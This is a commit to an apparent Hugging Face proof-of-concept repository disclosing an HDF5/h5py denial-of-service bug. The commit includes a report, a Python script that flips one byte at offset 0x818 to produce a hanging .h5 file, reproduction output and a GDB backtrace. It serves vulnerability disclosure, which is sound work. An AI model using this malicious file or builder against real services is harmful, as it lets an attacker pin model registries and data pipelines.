hacnho commited on
Commit
67eace6
·
verified ·
1 Parent(s): 6ad795c

Add HDF5 vlen attribute global heap hang PoC

Browse files
README.md ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ tags:
4
+ - security
5
+ - hdf5
6
+ - h5py
7
+ - denial-of-service
8
+ - poc
9
+ - huntr
10
+ ---
11
+
12
+ # HDF5 vlen attribute/global heap hang PoC
13
+
14
+ This repository contains a minimal proof of concept for an HDF5 parser hang when
15
+ reading a single-byte malformed `.h5` file.
16
+
17
+ PoC URL: `https://huggingface.co/hacnho/hdf5-vlen-attr-global-heap-hang-poc`
18
+
19
+ ## Summary
20
+
21
+ The control file is a valid 12,904-byte HDF5 file with two variable-length UTF-8
22
+ root attributes and a normal scaleoffset/gzip dataset. Changing one byte at
23
+ offset `0x818` from `0x1d` to `0x93` keeps the file openable, but reading root
24
+ attributes hangs in HDF5 global heap/vlen attribute handling.
25
+
26
+ Confirmed affected paths:
27
+
28
+ - `h5py==3.16.0` linked against official HDF5 `2.1.0`
29
+ - official HDF5 `2.1.0` `h5dump -A`
30
+ - stock `h5py==3.16.0` wheel with bundled HDF5 `2.0.0`
31
+
32
+ This is not the Fletcher32 crash. The PoC has no Fletcher32 filter.
33
+
34
+ ## Reproduce
35
+
36
+ ```bash
37
+ python3 -m venv /tmp/hdf5-vlen-attr-hang
38
+ /tmp/hdf5-vlen-attr-hang/bin/python -m pip install --upgrade pip
39
+ /tmp/hdf5-vlen-attr-hang/bin/python -m pip install -r requirements.txt
40
+ /tmp/hdf5-vlen-attr-hang/bin/python reproduce_hdf5_vlen_attr_global_heap_hang.py
41
+ ```
42
+
43
+ Expected result:
44
+
45
+ ```text
46
+ runtime_h5py=3.16.0
47
+ runtime_hdf5=2.1.0
48
+ mutation=offset 0x818: 0x1d -> 0x93
49
+
50
+ --- control ---
51
+ returncode=0
52
+
53
+ --- malicious ---
54
+ returncode=timeout_after_8s
55
+ stdout:
56
+ h5py=3.16.0 hdf5=2.1.0
57
+ opened
58
+ ```
59
+
60
+ The malicious file opens successfully and hangs when root variable-length
61
+ attributes are read.
62
+
63
+ ## Files
64
+
65
+ - `reproduce_hdf5_vlen_attr_global_heap_hang.py` - deterministic one-byte builder and reproducer.
66
+ - `control_scaleoffset_int.h5` - valid HDF5 control file.
67
+ - `hdf5_vlen_attr_global_heap_single_byte_hang.h5` - same-size file with one byte changed.
68
+ - `reproduce-output-hdf5-2.1.0.txt` - captured reproduction against HDF5 2.1.0.
69
+ - `scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt` - native stack snapshot.
70
+ - `h5dump-2.1.0-control.txt` and `h5dump-2.1.0-poc.txt` - HDF5 tool evidence.
71
+ - `environment.txt` - tested package and runtime versions.
72
+ - `duplicate-check.md` - local/public duplicate review.
73
+ - `report.md` - full report draft.
74
+ - `SHA256SUMS.txt` - artifact hashes.
75
+
76
+ ## Notes
77
+
78
+ No code execution is claimed. The demonstrated impact is process-level denial of
79
+ service via unbounded CPU/hang in HDF5 global heap/vlen attribute parsing.
SHA256SUMS.txt ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ 50556bda4784fbb959ef08d529b6ffd2c078034b74afc338b335bac969aa80a2 targets/huntr/evidence/hdf5-non-fletcher-lab/control_scaleoffset_int.h5
2
+ a255c9cf170ad6bce12e73e890c10d46179a08563a5631f56f5c494fd746fff6 targets/huntr/evidence/hdf5-non-fletcher-lab/hdf5_vlen_attr_global_heap_single_byte_hang.h5
control_scaleoffset_int.h5 ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:50556bda4784fbb959ef08d529b6ffd2c078034b74afc338b335bac969aa80a2
3
+ size 12904
duplicate-check.md ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Duplicate Check - HDF5 vlen attribute/global heap hang
2
+
3
+ Date: 2026-06-24 UTC / 2026-06-25 Asia/Ho_Chi_Minh
4
+
5
+ ## Local Submitted-Report Denylist
6
+
7
+ Source:
8
+
9
+ - `/home/hacnho/Projects/research/huntr_mysubmission.html`
10
+ - Parsed denylist: `targets/huntr/evidence/dashboard-dupcheck-20260624/huntr-submissions-denylist-latest.json`
11
+
12
+ Matched adjacent entries only:
13
+
14
+ - `HDF5 Fletcher32 filter SIGSEGV on single-byte malformed chunked dataset in HDF5`
15
+ - `Pickle scanner bypass via h5py File.create_dataset writes attacker-controlled HDF5 files while picklescan and modelscan report clean in Pickle`
16
+
17
+ Verdict: not a local duplicate. This candidate is a native HDF5 root attribute/global heap hang with `fletcher32=False`, not Fletcher32 and not pickle.
18
+
19
+ ## Huntr Hacktivity Title Filter
20
+
21
+ Script:
22
+
23
+ ```bash
24
+ python3 targets/huntr/poc/tflite-litert-lab/huntr_hacktivity_title_filter.py \
25
+ --out-dir targets/huntr/evidence/hdf5-non-fletcher-lab \
26
+ --terms H5HG H5Aread "global heap" "HDF5 attribute" "HDF5 vlen" \
27
+ --max-clicks 0 --click-delay-ms 500
28
+ ```
29
+
30
+ Result file:
31
+
32
+ - `targets/huntr/evidence/hdf5-non-fletcher-lab/hacktivity-title-filter-results-2026-06-23.json`
33
+
34
+ All terms returned `link_count: 0` for the first 100 scanned reports.
35
+
36
+ ## Public Prior Art
37
+
38
+ Adjacent but not the same:
39
+
40
+ - HDFGroup issue `hdf5#2662`: historical `h5diff` SIGSEGV in HDF5 1.14.0 around vlen attributes/global heap. This candidate reproduces on HDF5 2.1.0, affects `h5dump -A` and h5py root attribute reads, and manifests as a hang.
41
+ - CVE-2024-29160: older heap overflow in `H5HG__cache_heap_deserialize` through HDF5 1.14.3. This candidate affects HDF5 2.1.0 and is an unbounded hang.
42
+ - Huntr/Vulners `Integer Overflow Bypasses Memory Safety Checks in H5 Dataset Loading`: Keras/H5 dataset loading, not root vlen attributes/global heap.
43
+ - Keras/HDF5 external-link and external-storage reports: different surface; this PoC uses no external links/storage.
44
+
45
+ Verdict: candidate NOVEL, with adjacent global-heap/vlen prior disclosed honestly.
environment.txt ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
 
1
+ date_utc=2026-06-24T19:08:27Z
2
+ python_wheel=Python 3.12.3
3
+ wheel_h5py=3.16.0
4
+ wheel_hdf5=2.0.0
5
+ python_source=Python 3.12.3
6
+ source_h5py=3.16.0
7
+ source_hdf5=2.1.0
8
+ h5dump: Version 2.1.0
9
+ uname=Linux ubuntu 6.17.0-19-generic #19~24.04.2-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 23:08:46 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
h5dump-2.1.0-control.txt ADDED
@@ -0,0 +1,36 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ HDF5 "targets/huntr/evidence/hdf5-non-fletcher-lab/control_scaleoffset_int.h5" {
2
+ GROUP "/" {
3
+ ATTRIBUTE "probe" {
4
+ DATATYPE H5T_STRING {
5
+ STRSIZE H5T_VARIABLE;
6
+ STRPAD H5T_STR_NULLTERM;
7
+ CSET H5T_CSET_UTF8;
8
+ CTYPE H5T_C_S1;
9
+ }
10
+ DATASPACE SCALAR
11
+ DATA {
12
+ (0): "hdf5 non-fletcher filter seed"
13
+ }
14
+ }
15
+ ATTRIBUTE "seed_name" {
16
+ DATATYPE H5T_STRING {
17
+ STRSIZE H5T_VARIABLE;
18
+ STRPAD H5T_STR_NULLTERM;
19
+ CSET H5T_CSET_UTF8;
20
+ CTYPE H5T_C_S1;
21
+ }
22
+ DATASPACE SCALAR
23
+ DATA {
24
+ (0): "scaleoffset_int"
25
+ }
26
+ }
27
+ DATASET "d" {
28
+ DATATYPE H5T_STD_I32LE
29
+ DATASPACE SIMPLE { ( 64, 64 ) / ( 64, 64 ) }
30
+ }
31
+ DATASET "tail" {
32
+ DATATYPE H5T_STD_U8LE
33
+ DATASPACE SIMPLE { ( 17 ) / ( 17 ) }
34
+ }
35
+ }
36
+ }
h5dump-2.1.0-poc.txt ADDED
File without changes
hdf5_vlen_attr_global_heap_single_byte_hang.h5 ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:a255c9cf170ad6bce12e73e890c10d46179a08563a5631f56f5c494fd746fff6
3
+ size 12904
report.md ADDED
@@ -0,0 +1,183 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # HDF5 global heap/vlen attribute read hangs on single-byte malformed H5 file
2
+
3
+ ## Summary
4
+
5
+ HDF5 2.1.0, the current upstream release, can be forced into a non-terminating read path with a 12.9 KB `.h5` file that differs from a valid control file by one byte.
6
+
7
+ The PoC starts from a valid HDF5 file containing two variable-length UTF-8 root attributes and a normal scaleoffset/gzip dataset. Flipping one byte at offset `0x818` from `0x1d` to `0x93` keeps the file openable, but reading root attributes through normal HDF5 consumers hangs instead of returning a bounded parse error.
8
+
9
+ Confirmed affected paths:
10
+
11
+ - `h5py.File(path, "r"); list(f.attrs.items())` using `h5py==3.16.0` linked against official HDF5 `2.1.0`
12
+ - official HDF5 `2.1.0` `h5dump -A malicious.h5`
13
+ - the stock `h5py==3.16.0` PyPI wheel, which bundles HDF5 `2.0.0`
14
+
15
+ This is not the already-submitted Fletcher32 crash. The PoC has `fletcher32=False` and the stack is in variable-length attribute/global-heap parsing, not the filter pipeline.
16
+
17
+ ## Target
18
+
19
+ - Huntr MFV target: `HDF5 (.h5)`
20
+ - Affected library: HDF5
21
+ - Tested upstream version: HDF5 `2.1.0`
22
+ - Tested Python binding: `h5py==3.16.0`
23
+ - Loader paths:
24
+ - `h5py.File(...); list(f.attrs.items())`
25
+ - `h5dump -A <file>`
26
+ - Platform: Linux x86_64, Python 3.12.3
27
+
28
+ ## Proof Of Concept
29
+
30
+ Evidence package:
31
+
32
+ - Hugging Face PoC: `https://huggingface.co/hacnho/hdf5-vlen-attr-global-heap-hang-poc`
33
+ - `reproduce_hdf5_vlen_attr_global_heap_hang.py`
34
+ - `control_scaleoffset_int.h5`
35
+ - `hdf5_vlen_attr_global_heap_single_byte_hang.h5`
36
+ - `reproduce-output-hdf5-2.1.0.txt`
37
+ - `scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt`
38
+ - `h5dump-2.1.0-control.txt`
39
+ - `h5dump-2.1.0-poc.txt`
40
+ - `environment.txt`
41
+ - `SHA256SUMS.txt`
42
+
43
+ Run:
44
+
45
+ ```bash
46
+ python3 -m venv /tmp/hdf5-vlen-attr-hang
47
+ /tmp/hdf5-vlen-attr-hang/bin/python -m pip install --upgrade pip
48
+ /tmp/hdf5-vlen-attr-hang/bin/python -m pip install -r requirements.txt
49
+ /tmp/hdf5-vlen-attr-hang/bin/python reproduce_hdf5_vlen_attr_global_heap_hang.py
50
+ ```
51
+
52
+ Expected output on the official HDF5 2.1.0 build:
53
+
54
+ ```text
55
+ runtime_h5py=3.16.0
56
+ runtime_hdf5=2.1.0
57
+ control=.../control_scaleoffset_int.h5 size=12904 sha256=50556bda4784fbb959ef08d529b6ffd2c078034b74afc338b335bac969aa80a2
58
+ malicious=.../hdf5_vlen_attr_global_heap_single_byte_hang.h5 size=12904 sha256=a255c9cf170ad6bce12e73e890c10d46179a08563a5631f56f5c494fd746fff6
59
+ mutation=offset 0x818: 0x1d -> 0x93
60
+
61
+ --- control ---
62
+ returncode=0
63
+ stdout:
64
+ h5py=3.16.0 hdf5=2.1.0
65
+ opened
66
+ [('probe', 'hdf5 non-fletcher filter seed'), ('seed_name', 'scaleoffset_int')]
67
+ done
68
+
69
+ --- malicious ---
70
+ returncode=timeout_after_8s
71
+ stdout:
72
+ h5py=3.16.0 hdf5=2.1.0
73
+ opened
74
+ ```
75
+
76
+ The malicious file opens successfully and hangs only when the root variable-length attributes are read.
77
+
78
+ ## Mutation Details
79
+
80
+ Only one byte differs:
81
+
82
+ ```text
83
+ seed size: 12904
84
+ malicious size: 12904
85
+ diff offset: 2072 / 0x818
86
+ original: 0x1d
87
+ mutated: 0x93
88
+ ```
89
+
90
+ The control file has no Fletcher32 filter:
91
+
92
+ ```text
93
+ shape (64, 64)
94
+ chunks (8, 64)
95
+ compression gzip
96
+ shuffle False
97
+ scaleoffset 2
98
+ fletcher32 False
99
+ ```
100
+
101
+ ## HDF5 2.1.0 Tool Evidence
102
+
103
+ Official HDF5 2.1.0 `h5dump -A` on the control file returns normally and prints both attributes.
104
+
105
+ The same `h5dump -A` invocation on the single-byte malicious file timed out after 8 seconds:
106
+
107
+ ```text
108
+ h5dump: Version 2.1.0
109
+ h5dump_control_rc=0
110
+ h5dump_poc_rc=124
111
+ ```
112
+
113
+ ## Native Stack Snapshot
114
+
115
+ Interrupting the hung HDF5 2.1.0 process under GDB shows the main thread stuck in global-heap deserialization reached from variable-length attribute conversion:
116
+
117
+ ```text
118
+ #0 H5F_sizeof_size(...) at H5Fquery.c:404
119
+ #1 H5HG__cache_heap_deserialize(...) at H5HGcache.c:337
120
+ #2 H5C__load_entry(...) at H5Centry.c:1241
121
+ #3 H5C_protect(...) at H5Centry.c:3149
122
+ #4 H5AC_protect(...) at H5AC.c:1302
123
+ #5 H5HG__protect(...) at H5HG.c:238
124
+ #6 H5HG_get_obj_size(...) at H5HG.c:704
125
+ #7 H5VL__native_blob_get(...) at H5VLnative_blob.c:118
126
+ #10 H5T__vlen_disk_read(...) at H5Tvlen.c:839
127
+ #11 H5T__conv_vlen(...) at H5Tconv_vlen.c:412
128
+ #14 H5A__read(...) at H5Aint.c:787
129
+ #19 H5Aread(...) at H5A.c:1021
130
+ ```
131
+
132
+ Full backtrace is included as `scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt`.
133
+
134
+ ## Impact
135
+
136
+ Any service, model registry, scanner, converter, notebook, or ML ingestion pipeline that accepts `.h5` artifacts and reads root attributes can be pinned by a tiny attacker-controlled file. This includes common validation patterns such as `h5dump -A` and Python code using `h5py.File(...).attrs`.
137
+
138
+ The PoC does not require a large input, deep nesting, external links, external storage, custom plugins, dynamic filters, or code execution. I am conservatively claiming process-level denial of service via unbounded CPU/hang, not memory corruption or RCE.
139
+
140
+ ## Root Cause Hypothesis
141
+
142
+ The single-byte corruption appears to alter a global heap / variable-length attribute reference. When the root attribute is read, HDF5 enters:
143
+
144
+ ```text
145
+ H5Aread -> H5T__conv_vlen -> H5T__vlen_disk_read -> H5HG_get_obj_size -> H5HG__cache_heap_deserialize
146
+ ```
147
+
148
+ Instead of detecting the malformed global heap metadata and returning an error, the deserialize/protect path does not terminate in bounded time.
149
+
150
+ ## Deduplication
151
+
152
+ Local dashboard denylist from `/home/hacnho/Projects/research/huntr_mysubmission.html` had only these adjacent HDF5/h5py entries:
153
+
154
+ - `HDF5 Fletcher32 filter SIGSEGV on single-byte malformed chunked dataset in HDF5`
155
+ - `Pickle scanner bypass via h5py File.create_dataset writes attacker-controlled HDF5 files while picklescan and modelscan report clean in Pickle`
156
+
157
+ Those are different: this PoC uses no Fletcher32 filter and is a native HDF5 parser hang, not a pickle scanner bypass.
158
+
159
+ Huntr hacktivity title-filter checks returned zero bounty links for:
160
+
161
+ - `H5HG`
162
+ - `H5Aread`
163
+ - `global heap`
164
+ - `HDF5 attribute`
165
+ - `HDF5 vlen`
166
+
167
+ Public prior-art checks:
168
+
169
+ - HDFGroup issue `hdf5#2662` is adjacent prior art for a historical `h5diff` SIGSEGV in HDF5 1.14.0 with variable-length attribute/global-heap stack frames. This PoC is different because it reproduces on HDF5 2.1.0, is a single-byte mutation from a valid h5py-generated file, affects `h5dump -A` and h5py root attribute reads, and causes an unbounded hang rather than the reported crash.
170
+ - CVE-2024-29160 covers an older HDF5 heap overflow in `H5HG__cache_heap_deserialize` through 1.14.3. This PoC affects HDF5 2.1.0 and demonstrates a bounded-validation failure/hang, not the old through-1.14.3 overflow claim.
171
+ - Huntr/Vulners lists `Integer Overflow Bypasses Memory Safety Checks in H5 Dataset Loading` in Keras. That is a Keras H5 dataset-loading issue, not this HDF5 root vlen-attribute/global-heap hang.
172
+ - Public Keras reports around `model.weights.h5` external links and HDF5 external storage are different surfaces; this PoC uses no external links or external storage.
173
+
174
+ Verdict: **candidate NOVEL**, with honest adjacent prior art in old HDF5 global-heap/vlen crash handling.
175
+
176
+ ## Suggested Fix
177
+
178
+ - Validate global heap object offsets, lengths, and free-list/collection metadata before deserializing or protecting heap entries.
179
+ - Add loop/iteration bounds or progress checks in `H5HG__cache_heap_deserialize`.
180
+ - When `H5T__vlen_disk_read` receives a malformed heap reference for an attribute, return a normal HDF5 error rather than continuing indefinitely.
181
+ - Add a regression test using `hdf5_vlen_attr_global_heap_single_byte_hang.h5` and assert that:
182
+ - `h5dump -A` exits with an error quickly.
183
+ - `h5py.File(...).attrs.items()` raises an exception quickly.
reproduce-output-hdf5-2.1.0.txt ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ runtime_h5py=3.16.0
2
+ runtime_hdf5=2.1.0
3
+ control=/home/hacnho/Projects/research/targets/huntr/evidence/hdf5-non-fletcher-lab/control_scaleoffset_int.h5 size=12904 sha256=50556bda4784fbb959ef08d529b6ffd2c078034b74afc338b335bac969aa80a2
4
+ malicious=/home/hacnho/Projects/research/targets/huntr/evidence/hdf5-non-fletcher-lab/hdf5_vlen_attr_global_heap_single_byte_hang.h5 size=12904 sha256=a255c9cf170ad6bce12e73e890c10d46179a08563a5631f56f5c494fd746fff6
5
+ mutation=offset 0x818: 0x1d -> 0x93
6
+
7
+ --- control ---
8
+ returncode=0
9
+ stdout:
10
+ h5py=3.16.0 hdf5=2.1.0
11
+ opened
12
+ [('probe', 'hdf5 non-fletcher filter seed'), ('seed_name', 'scaleoffset_int')]
13
+ done
14
+
15
+ --- malicious ---
16
+ returncode=timeout_after_8s
17
+ stdout:
18
+ h5py=3.16.0 hdf5=2.1.0
19
+ opened
reproduce_hdf5_vlen_attr_global_heap_hang.py ADDED
@@ -0,0 +1,101 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ from __future__ import annotations
3
+
4
+ import hashlib
5
+ import subprocess
6
+ import sys
7
+ from pathlib import Path
8
+
9
+ import h5py
10
+
11
+
12
+ HERE = Path(__file__).resolve().parent
13
+ CONTROL = HERE / "control_scaleoffset_int.h5"
14
+ MALICIOUS = HERE / "hdf5_vlen_attr_global_heap_single_byte_hang.h5"
15
+ MUTATION_OFFSET = 0x818
16
+ MUTATION_FROM = 0x1D
17
+ MUTATION_TO = 0x93
18
+
19
+
20
+ WORKER = r"""
21
+ import h5py
22
+ import sys
23
+
24
+ print(f"h5py={h5py.__version__} hdf5={h5py.version.hdf5_version}", flush=True)
25
+ with h5py.File(sys.argv[1], "r") as f:
26
+ print("opened", flush=True)
27
+ print(list(f.attrs.items()), flush=True)
28
+ print("done", flush=True)
29
+ """
30
+
31
+
32
+ def sha256(path: Path) -> str:
33
+ return hashlib.sha256(path.read_bytes()).hexdigest()
34
+
35
+
36
+ def build_malicious() -> None:
37
+ data = bytearray(CONTROL.read_bytes())
38
+ if data[MUTATION_OFFSET] != MUTATION_FROM:
39
+ raise RuntimeError(
40
+ f"unexpected control byte at 0x{MUTATION_OFFSET:x}: "
41
+ f"0x{data[MUTATION_OFFSET]:02x}"
42
+ )
43
+ data[MUTATION_OFFSET] = MUTATION_TO
44
+ MALICIOUS.write_bytes(data)
45
+
46
+
47
+ def run_case(label: str, path: Path, timeout: int = 8) -> dict:
48
+ try:
49
+ cp = subprocess.run(
50
+ [sys.executable, "-c", WORKER, str(path)],
51
+ stdout=subprocess.PIPE,
52
+ stderr=subprocess.PIPE,
53
+ text=True,
54
+ timeout=timeout,
55
+ check=False,
56
+ )
57
+ return {
58
+ "label": label,
59
+ "returncode": cp.returncode,
60
+ "stdout": cp.stdout,
61
+ "stderr": cp.stderr,
62
+ }
63
+ except subprocess.TimeoutExpired as exc:
64
+ return {
65
+ "label": label,
66
+ "returncode": f"timeout_after_{timeout}s",
67
+ "stdout": exc.stdout.decode() if isinstance(exc.stdout, bytes) else (exc.stdout or ""),
68
+ "stderr": exc.stderr.decode() if isinstance(exc.stderr, bytes) else (exc.stderr or ""),
69
+ }
70
+
71
+
72
+ def main() -> int:
73
+ if not CONTROL.exists():
74
+ raise FileNotFoundError(CONTROL)
75
+ build_malicious()
76
+
77
+ print(f"runtime_h5py={h5py.__version__}")
78
+ print(f"runtime_hdf5={h5py.version.hdf5_version}")
79
+ print(f"control={CONTROL} size={CONTROL.stat().st_size} sha256={sha256(CONTROL)}")
80
+ print(f"malicious={MALICIOUS} size={MALICIOUS.stat().st_size} sha256={sha256(MALICIOUS)}")
81
+ print(
82
+ "mutation="
83
+ f"offset 0x{MUTATION_OFFSET:x}: 0x{MUTATION_FROM:02x} -> 0x{MUTATION_TO:02x}"
84
+ )
85
+
86
+ for label, path in [("control", CONTROL), ("malicious", MALICIOUS)]:
87
+ result = run_case(label, path)
88
+ print(f"\n--- {label} ---")
89
+ print(f"returncode={result['returncode']}")
90
+ if result["stdout"]:
91
+ print("stdout:")
92
+ print(result["stdout"], end="" if result["stdout"].endswith("\n") else "\n")
93
+ if result["stderr"]:
94
+ print("stderr:")
95
+ print(result["stderr"], end="" if result["stderr"].endswith("\n") else "\n")
96
+
97
+ return 0
98
+
99
+
100
+ if __name__ == "__main__":
101
+ raise SystemExit(main())
requirements.txt ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ h5py==3.16.0
2
+ numpy==2.5.0
scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt ADDED
@@ -0,0 +1,62 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ [Thread debugging using libthread_db enabled]
2
+ Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
3
+ [Detaching after vfork from child process 2266953]
4
+ h5py 3.16.0 hdf5 2.1.0
5
+ opened
6
+
7
+ Program received signal SIGINT, Interrupt.
8
+ H5F_sizeof_size (f=f@entry=0xfea930) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Fquery.c:404
9
+ warning: 404 /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Fquery.c: No such file or directory
10
+
11
+ Thread 1 (Thread 0x7ffff7e6a300 (LWP 2266916) "python"):
12
+ #0 H5F_sizeof_size (f=f@entry=0xfea930) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Fquery.c:404
13
+ #1 0x00007ffff6fc1cb8 in H5HG__cache_heap_deserialize (_image=<optimized out>, len=<optimized out>, _udata=0xfea930, dirty=<optimized out>) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5HGcache.c:337
14
+ #2 0x00007ffff6eafe52 in H5C__load_entry (udata=0xfea930, addr=2048, type=0x7ffff72ced40 <H5AC_GHEAP>, f=0xfea930) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Centry.c:1241
15
+ #3 H5C_protect (f=f@entry=0xfea930, type=type@entry=0x7ffff72ced40 <H5AC_GHEAP>, addr=addr@entry=2048, udata=udata@entry=0xfea930, flags=flags@entry=128) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Centry.c:3149
16
+ #4 0x00007ffff6e8d4c1 in H5AC_protect (f=f@entry=0xfea930, type=0x7ffff72ced40 <H5AC_GHEAP>, addr=addr@entry=2048, udata=udata@entry=0xfea930, flags=128) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5AC.c:1302
17
+ #5 0x00007ffff6fbf469 in H5HG__protect (f=f@entry=0xfea930, addr=2048, flags=flags@entry=128) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5HG.c:238
18
+ #6 0x00007ffff6fc0049 in H5HG_get_obj_size (f=f@entry=0xfea930, hobj=hobj@entry=0x7fffffffc310, obj_size=obj_size@entry=0x7fffffffc308) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5HG.c:704
19
+ #7 0x00007ffff71cc573 in H5VL__native_blob_get (obj=0xfea930, blob_id=<optimized out>, buf=0x1091a48, size=29, ctx=<optimized out>) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLnative_blob.c:118
20
+ #8 0x00007ffff71b4aad in H5VL__blob_get (obj=0xfea930, cls=0xbdfb50, blob_id=0xf3010c, buf=0x1091a48, size=29, ctx=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLcallback.c:7521
21
+ #9 0x00007ffff71c3736 in H5VL_blob_get (vol_obj=<optimized out>, blob_id=<optimized out>, buf=<optimized out>, size=<optimized out>, ctx=ctx@entry=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLcallback.c:7553
22
+ #10 0x00007ffff71a9d60 in H5T__vlen_disk_read (file=<optimized out>, _vl=<optimized out>, buf=<optimized out>, len=<optimized out>) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Tvlen.c:839
23
+ #11 0x00007ffff7199bf0 in H5T__conv_vlen (src=<optimized out>, dst=0x103c880, cdata=<optimized out>, conv_ctx=<optimized out>, nelmts=1, buf_stride=<optimized out>, bkg_stride=0, buf=0xf30108, bkg=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Tconv_vlen.c:412
24
+ #12 0x00007ffff70c4c74 in H5T_convert_with_ctx (tpath=tpath@entry=0x1067690, src_type=src_type@entry=0x103cc80, dst_type=dst_type@entry=0x103c880, conv_ctx=conv_ctx@entry=0x7fffffffc6d0, nelmts=nelmts@entry=1, buf_stride=buf_stride@entry=0, bkg_stride=0, buf=0xf30108, bkg=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5T.c:6605
25
+ #13 0x00007ffff70c5094 in H5T_convert (tpath=tpath@entry=0x1067690, src_type=0x103cc80, dst_type=dst_type@entry=0x103c880, nelmts=nelmts@entry=1, buf_stride=buf_stride@entry=0, bkg_stride=bkg_stride@entry=0, buf=0xf30108, bkg=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5T.c:6534
26
+ #14 0x00007ffff6e86345 in H5A__read (attr=attr@entry=0x1070950, mem_type=mem_type@entry=0x103c880, buf=buf@entry=0x1070a40) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Aint.c:787
27
+ #15 0x00007ffff71cb4e2 in H5VL__native_attr_read (attr=0x1070950, dtype_id=<optimized out>, buf=0x1070a40, dxpl_id=792633534417207304, req=<optimized out>) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLnative_attr.c:213
28
+ #16 0x00007ffff71aef0d in H5VL__attr_read (obj=0x1070950, cls=0xbdfb50, mem_type_id=mem_type_id@entry=216172782113784003, buf=buf@entry=0x1070a40, dxpl_id=dxpl_id@entry=792633534417207304, req=req@entry=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLcallback.c:1268
29
+ #17 0x00007ffff71b7abf in H5VL_attr_read (vol_obj=<optimized out>, mem_type_id=mem_type_id@entry=216172782113784003, buf=buf@entry=0x1070a40, dxpl_id=792633534417207304, req=req@entry=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLcallback.c:1302
30
+ #18 0x00007ffff6e77b97 in H5A__read_api_common (attr_id=attr_id@entry=504403158265495552, dtype_id=dtype_id@entry=216172782113784003, buf=buf@entry=0x1070a40, token_ptr=token_ptr@entry=0x0, _vol_obj_ptr=_vol_obj_ptr@entry=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5A.c:990
31
+ #19 0x00007ffff6e7ab32 in H5Aread (attr_id=attr_id@entry=504403158265495552, dtype_id=dtype_id@entry=216172782113784003, buf=buf@entry=0x1070a40) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5A.c:1021
32
